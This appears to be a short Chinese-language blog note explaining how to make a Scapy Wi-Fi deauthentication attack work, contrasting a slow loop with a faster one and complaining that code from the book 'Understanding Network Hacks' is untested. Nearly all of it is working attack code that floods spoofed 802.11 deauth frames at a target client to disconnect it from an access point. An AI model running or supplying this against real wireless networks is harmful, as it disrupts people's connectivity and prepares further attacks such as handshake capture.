成功的关键在于:发送deauth包的速度要快。
实测这样的代码是行不通的:
pkt = RadioTap() /
Dot11(subtype=0xc,
addr1=dest, addr2=bssid, addr3=bssid) /
Dot11Deauth(reason=3)
timeout=1
while True:
sendp(pkt, iface=iface)
time.sleep(timeout)
得这样:
pkt = RadioTap() /
Dot11(subtype=0xc,
addr1=dest, addr2=bssid, addr3=bssid) /
Dot11Deauth(reason=3)
timeout=1
while True:
sendp(pkt, iface=iface, inter=0.05, count=5) # 这样就足够快了
time.sleep(timeout) # 这个延时个人觉得没啥存在意义,可略
PS:我觉得 Understanding Network Hacks里的代码都是没有调试过的,坑好多。。